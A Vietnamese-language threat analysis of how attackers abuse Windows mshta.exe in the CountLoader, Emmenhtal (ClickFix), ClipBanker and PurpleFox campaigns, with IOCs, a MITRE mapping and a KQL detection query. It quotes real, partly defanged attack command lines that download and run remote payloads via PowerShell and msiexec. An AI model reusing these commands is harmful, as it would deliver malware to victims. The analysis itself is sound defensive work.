# MSHTA: Công cụ Windows 'đã nghỉ hưu' vẫn đang chạy malware

## Tóm tắt cho lãnh đạo
 
Một tiện ích Windows mà phần lớn mọi người nghĩ đã "chết" cùng Internet Explorer
đang âm thầm tiếp sức cho các chiến dịch malware đang hoạt động. Bitdefender cho
biết từ đầu năm 2026, số lần phát hiện **`mshta.exe`** — Microsoft HTML
Application Host — tăng mạnh, và do nhu cầu sử dụng hợp pháp đang giảm dần, xu
hướng này phản ánh **hoạt động độc hại, không phải việc admin dùng lại**.
 
Sức hấp dẫn rất đơn giản: MSHTA **được Microsoft ký, có sẵn mặc định, và chạy
VBScript/JavaScript trong bộ nhớ**, cho phép kẻ tấn công kéo payload từ xa rồi
chuyển tiếp sang PowerShell hoặc msiexec mà gần như không để lại gì trên đĩa.
Bitdefender quan sát thấy nó trải khắp phổ mối đe doạ — stealer thương phẩm
(**LummaStealer**, **Amatera** qua **CountLoader** và **Emmenhtal Loader**),
malware tráo ví crypto trong clipboard (**ClipBanker**), và **PurpleFox** có
rootkit, tồn tại lâu năm.
 
Với doanh nghiệp, rủi ro là: chỉ một cú click vào bản tải "phần mềm miễn phí" giả
hay một prompt CAPTCHA giả có thể khởi chạy một binary tin cậy, có chữ ký, dẫn
đến đánh cắp thông tin đăng nhập, gian lận tài chính, hoặc xâm nhập dai dẳng — mà
các kiểm soát dựa trên signature không hề hay biết.
 
**Hành động quan trọng nhất:** hạn chế hoặc chặn `mshta.exe` (và `wscript.exe`)
ở nơi không cần, và cảnh báo các command line `mshta.exe` chứa URL hoặc sinh ra
PowerShell/msiexec.
 
---
 
## Bối cảnh — Vì sao MSHTA là LOLBIN hấp dẫn
 
`mshta.exe` chạy HTML Application (`.hta`) — chương trình viết bằng HTML kèm
VBScript hoặc JavaScript — bằng engine render Internet Explorer cũ. Dù IE đã hết
hỗ trợ ngày 15/06/2022, engine vẫn tồn tại trong IE mode của Edge (được hỗ trợ ít
nhất tới 2029), và bản thân MSHTA vẫn xuất xưởng **bật mặc định** trên Windows
hiện tại.
 
Living-off-the-Land binary (LOLBIN) hấp dẫn chính vì chúng có chữ ký, quen thuộc
và được tin cậy ngầm. MSHTA khớp mô hình này một cách gọn ghẽ: nó có thể **thực
thi script trong bộ nhớ**, **lấy nội dung từ vị trí từ xa**, và chạy dưới một tiến
trình hợp lệ được Microsoft ký — lý tưởng cho stager và loader muốn giảm thiểu
artifact trên đĩa.
 
Lưu ý về xu hướng: Microsoft bắt đầu khai tử **VBScript** từ nửa sau 2024 (hiện là
Feature on Demand, vẫn bật mặc định), dự kiến tắt mặc định vào **2027**, và sẽ gỡ
bỏ hẳn. Tuy nhiên, **chưa có kế hoạch công khai gỡ bỏ MSHTA**. Chừng nào còn xuất
xưởng mặc định, nó vẫn vừa là công cụ admin tồn dư, vừa là bề mặt tấn công bị phơi
ra.
 
Khoảng **10%** telemetry MSHTA của Bitdefender vẫn lành tính — các one-liner
`javascript:alert()` / `vbscript:msgbox()` thông báo admin và login script đơn
giản. Chính phần sử dụng hợp pháp còn lại đó khiến việc chặn thô bạo trở nên rủi
ro và detection theo hành vi trở nên cần thiết.
 
---
 
## Điểm danh các chuỗi tấn công — MSHTA bị lạm dụng thế nào
 
Xuyên suốt các chiến dịch, MSHTA đóng cùng một vai trò: tiện ích có sẵn, có chữ
ký, lấy về và thực thi nội dung script từ xa ở giai đoạn đầu hoặc trung gian, rồi
chuyển tiếp sang PowerShell, WScript, msiexec, hoặc payload cuối.
 
### 1. CountLoader → LummaStealer / Amatera
 
Cụm lớn nhất trong telemetry của Bitdefender dùng **CountLoader**, một loader dựa
trên HTA để phát tán stealer **LummaStealer** và **Amatera**. Phần lớn lần phát
hiện cho thấy command line `mshta.exe` trỏ tới các domain giả dạng dịch vụ hợp
pháp trên TLD **`.cc`** (ví dụ `google-services[.]cc`, `memory-scanner[.]cc`).
Chiến dịch rộ lên cuối 2025, **đạt đỉnh cuối tháng 1/2026**, rồi giảm khi kẻ tấn
công đổi nền tảng hosting; từ cuối tháng 2/2026 xuất hiện pattern mới chuyển sang
domain **`.vg`/`.gl`** (`explorer[.]vg`, `ccleaner[.]gl`, `microservice[.]gl`).
 
Mồi nhử là phần mềm crack/miễn phí phát tán qua tin nhắn, bài đăng mạng xã hội,
hoặc website bị SEO poisoning. Archive tải về chứa một `Setup.exe` thực chất là
**trình thông dịch Python hợp pháp**, kèm các file `python3XX.dll` thật. Khi
chạy, quá trình phân giải dependency nạp một script độc hại tại
`.\Lib\encodings\aliases.py`, script này khởi chạy một **bản MSHTA đổi tên**
(`iso2022.exe`) để liên lạc C2 và lấy HTA loader. Command line kết quả có dạng:
 
```text
cd Lib\encodings && iso2022.exe https:\\planetitude[.]org/wp-admin/chellenge/stats.location & iso2022[.]exe https:\\alpha-centavr[.]cc
```
 
### 2. Emmenhtal Loader (ClickFix)
 
Chuỗi **Emmenhtal Loader** dựa vào kỹ thuật social engineering **ClickFix**. Nó
bắt đầu bằng link phishing trên Discord dẫn tới trang xác minh người dùng giả
(kiểu reCAPTCHA, trên các host như `humancheck[.]shop`). JavaScript âm thầm chép
một lệnh độc hại vào clipboard; người dùng được hướng dẫn nhấn **Win + R**,
**Ctrl + V**, **Enter** — khiến `explorer.exe` khởi chạy `mshta.exe` trỏ tới một
"`.mp4`" từ xa mà thực chất là HTA.
 
```mermaid
flowchart TD
    A["Link phishing Discord"] --> B["Trang reCAPTCHA giả<br/>(humancheck[.]shop)"]
    B -->|JS chép cmd vào clipboard| C["User: Win+R → Ctrl+V → Enter"]
    C --> D["explorer.exe → mshta.exe<br/>.mp4 từ xa = HTA (in-memory)"]
    D -->|cửa sổ 1x1px, ẩn| E["JS Base64 decoder → eval"]
    E --> F["WScript.Shell chạy PowerShell<br/>-w hidden -ep bypass"]
    F --> G["AMSI bypass (vá clr.dll)<br/>+ nạp .NET assembly"]
    G --> H["LummaStealer"]
```
 
HTA được nhồi dữ liệu rác, đặt cửa sổ thành **1×1 pixel / ẩn**, và được thực thi
**trực tiếp trong bộ nhớ** (không bao giờ ghi ra đĩa). Một hàm Base64 nhúng giải
mã và `eval` một loader giai đoạn hai, loader này sinh một `WScript.Shell` và chạy
một PowerShell one-liner ẩn để tải và thực thi script trong bộ nhớ:
 
```text
powershell -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('hxxps://klipdiheqoe[.]shop/ruwkl[.]png'))"
```
 
PowerShell cuối thực hiện một **AMSI bypass** (vá `clr.dll`, lấy từ một repo
GitHub công khai), rồi Base64-decode và reflectively load một .NET assembly —
trong trường hợp phân tích là một assembly **LummaStealer** đã biết
(`1E0E375F...85B7C84`).
 
### 3. ClipBanker
 
Ở đây MSHTA lấy một HTA từ xa (ví dụ `asd.s7610rir[.]pw/win/checking[.]hta`),
HTA này **giấu cửa sổ ra ngoài màn hình** (`moveTo -2000,-2000`), tạo
`WScript.Shell`, và chạy một lệnh PowerShell Base64. Giai đoạn đó kéo `checking.ps1`
(`333E2192...`), script này đặt **Windows Defender exclusion** và persistence qua
một **scheduled task giả dạng service hợp pháp** (ví dụ *"Optimize Start Menu
Cache Files-S-3-5-21-…"*), rồi thả downloader ClipBanker (`ichigo-lite.ps1`). Một
script dọn dẹp (`del.ps1`) xoá dấu vết và kill các công cụ phân tích như
**Procmon** và **Autoruns**. Mục tiêu của ClipBanker: tráo địa chỉ ví
cryptocurrency trong clipboard của nạn nhân.
 
### 4. Các biến thể PowerShell-qua-MSHTA
 
Những cụm nhỏ hơn dùng MSHTA thuần để sinh PowerShell bị obfuscate, với các mẹo
riêng theo chiến dịch nhằm né cảnh báo keyword của EDR/SIEM:
 
- **XWorm / Danabot** — URL trông như file ảnh (`.jpg`) nhưng là PowerShell chạy
  in-memory; keyword PowerShell bị tách thành token (`(New-Object Net.We` +
  `bClient).Downlo`…) hoặc chèn ký tự rác rồi loại bằng `String.Replace`.
- **Lalala stealer** — script chỉ được phục vụ nếu request `POST` chứa mật khẩu
  định sẵn (`iwr ... -method post -body <password>`).
### 5. PurpleFox — ngay cả mối đe doạ tinh vi cũng dùng MSHTA
 
**PurpleFox** (hoạt động từ 2018, vẫn còn sống năm 2026) là một backdoor có
rootkit. Một phương thức phát tán giữ nguyên nhiều năm: khởi chạy **`msiexec`** từ
command line MSHTA để tải và chạy một gói MSI giả dạng `.png`:
 
```text
mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (195[.]189[.]28[.]244:17807 103[.]124[.]106[.]194:18413 58[.]221[.]59[.]20:17256 ) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)
```
 
```mermaid
flowchart LR
    A["mshta.exe (vbscript:)"] --> B["msiexec /i http://IP/file.Png /Q"]
    B --> C["MSI (giả .png)<br/>backdoor có rootkit"]
    C --> D["Persistence + lệnh C2<br/>đánh cắp thông tin · giám sát · DDoS"]
    C --> E["Worm: quét port 445<br/>brute-force SMB"]
    E -->|lây nhiễm| F["Host Windows mới"]
    F --> E
```
 
Sau khi cài, PurpleFox cung cấp persistence và thực thi lệnh C2 theo yêu cầu, hỗ
trợ đánh cắp thông tin, giám sát và DDoS. Mặt worm của nó (Guardicore, 2021) lây
lan bằng cách quét **port 445** và **brute-force SMB** — chiến dịch từng tăng vọt
~600% vào tháng 5/2020 (≈90.000 cuộc tấn công) và lạm dụng các server **IIS** cũ,
bị chiếm để host payload. Rootkit giấu file và registry key, và malware chặn các
port 445/139/135 để ngăn tái nhiễm.
 
### Không phải lúc nào cũng độc hại
 
Không phải mọi lần MSHTA chạy đều là tấn công. Một phần đáng kể lần phát hiện đến
từ **DriverPack**, trình cập nhật của nó dùng scheduled task để chạy một HTA
in-memory kiểm tra cập nhật. Bản thân nó không độc hại (dù một số thành phần bị
gắn nhãn PUA) — một nhắc nhở hữu ích rằng nên tinh chỉnh theo hành vi, chứ không
chỉ theo riêng `mshta.exe`.
 
---
 
## MITRE ATT&CK Mapping
 
> Mapping do analyst thực hiện dựa trên báo cáo; không phải layer chính thức của
> vendor.
 
| Tactic | Technique | ID |
|---|---|---|
| Defense Evasion | System Binary Proxy Execution: Mshta | T1218.005 |
| Defense Evasion | System Binary Proxy Execution: Msiexec | T1218.007 |
| Execution | Command & Scripting: PowerShell | T1059.001 |
| Execution | Command & Scripting: Visual Basic | T1059.005 |
| Execution | Command & Scripting: JavaScript | T1059.007 |
| Initial Access | Phishing | T1566 |
| Execution | User Execution (gồm ClickFix paste-run) | T1204 |
| Command & Control | Ingress Tool Transfer | T1105 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 |
| Defense Evasion | Reflective Code Loading | T1620 |
| Defense Evasion | Impair Defenses (AMSI bypass, Defender exclusion) | T1562.001 |
| Persistence | Scheduled Task/Job | T1053.005 |
| Defense Evasion | Rootkit | T1014 |
| Collection | Clipboard Data (ClipBanker) | T1115 |
| Lateral Movement | Remote Services: SMB (worm PurpleFox) | T1021.002 |
| Credential Access | Brute Force (SMB) | T1110 |
| Defense Evasion | Indicator Removal (script dọn dẹp) | T1070 |
 
---
 
## IOC chọn lọc
 
> Chọn lọc để dễ đọc — **bộ IOC đầy đủ nằm trong báo cáo Bitdefender** (xem phần
> Tham khảo).
 
```text
# === Hash (SHA-256) ===
1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84   Payload LummaStealer (Emmenhtal)
333E2192F2551415659FB4094E81B911708921BB588EECF65E27F51C9938DFC2   ClipBanker checking.ps1
38FE562136ADE372FC4CEDDE67826AEEA8404E93A54A4A4736DDB4C8C8D4C96D   ClipBanker ichigo-lite.ps1
7D0487AFC91B0FE8B2FBF732AB54C3C07E86BF69471BBA6C283AABEA190499BA   ClipBanker del.ps1 (dọn dẹp)
 
# === Domain CountLoader / LummaStealer (đại diện) ===
google-services[.]cc · memory-scanner[.]cc · alpha-centavr[.]cc
explorer[.]vg · ccleaner[.]gl · microservice[.]gl   (pattern .vg/.gl mới)
 
# === URL Emmenhtal (đại diện) ===
hxxps[://]buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com/dir/sixth/singl6[.]mp4
hxxp[://]92[.]255[.]57[.]155/Capcha[.]html
hxxps[://]klipdiheqoe[.]shop/ruwkl[.]png   (giai đoạn PowerShell)
 
# === ClipBanker ===
185[.]208[.]159[.]199        host checking.ps1
87[.]96[.]21[.]84            host payload kế tiếp
hxxps[://]asd[.]s7610rir[.]pw/win/checking[.]hta
 
# === Host .msi PurpleFox (đại diện) ===
195[.]189[.]28[.]244 · 103[.]124[.]106[.]194 · 58[.]221[.]59[.]20
89[.]117[.]2[.]159 · 107[.]175[.]187[.]11
 
# === Pattern host-based ===
iso2022.exe                  mshta.exe đổi tên (CountLoader)
mshta.exe sinh ra powershell.exe / msiexec.exe / wscript.exe
command line mshta.exe chứa http(s):// hoặc vbscript:/javascript:
parent explorer.exe → mshta.exe   (ClickFix paste-and-run)
Tên scheduled task giả dạng service Windows
```
 
---
 
## Detection cho SOC
 
Tín hiệu đáng tin không phải một file đơn lẻ mà là **hình dạng command line** và
**quan hệ tiến trình** của `mshta.exe`. Điểm khởi đầu (Microsoft Sentinel /
Defender KQL):
 
```kql
DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", "vbscript:", "javascript:")
   or InitiatingProcessFileName =~ "explorer.exe"   // ClickFix paste-and-run
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
```
 
Kết hợp với một hunt theo quan hệ tiến trình cho `mshta.exe` sinh ra
`powershell.exe`, `msiexec.exe`, hoặc `wscript.exe`, và flag mọi **MSHTA đổi tên**
(một binary không phải `mshta.exe` nhưng tên file gốc / chữ ký phân giải về MS
HTML Application Host).
 
---
 
## Khuyến nghị (ngắn gọn)
 
- **Chặn hoặc hạn chế** `mshta.exe` và `wscript.exe` ở nơi không cần cho nghiệp
  vụ; chặn thực thi `.hta` qua Group Policy / application control (WDAC /
  AppLocker).
- **Bật ASR rules** và detection theo hành vi (không chỉ signature); cảnh báo theo
  pattern command line và quan hệ tiến trình ở trên.
- **Đào tạo người dùng về ClickFix** — không bao giờ paste-and-run lệnh từ prompt
  "xác minh người dùng" (mồi Win+R); tránh tải phần mềm crack/"miễn phí".
- **Di chuyển** các script admin cũ ra khỏi MSHTA/VBScript trước thời điểm tắt
  mặc định VBScript năm 2027.
---
 
## Tài liệu tham khảo
 
1. [Bitdefender Labs — Microsoft's MSHTA Legacy Tool Still Powers Malware Campaigns on Windows](https://www.bitdefender.com/en-us/blog/labs/microsofts-mshta-legacy-malware-windows)
2. [SecurityWeek — Legacy Windows Tool MSHTA Fuels Surge in Silent Malware Attacks](https://www.securityweek.com/legacy-windows-tool-mshta-fuels-surge-in-silent-malware-attacks/)
3. [SecurityWeek — Purple Fox Malware Squirms Like a Worm on Windows](https://www.securityweek.com/purple-fox-malware-squirms-worm-windows/)
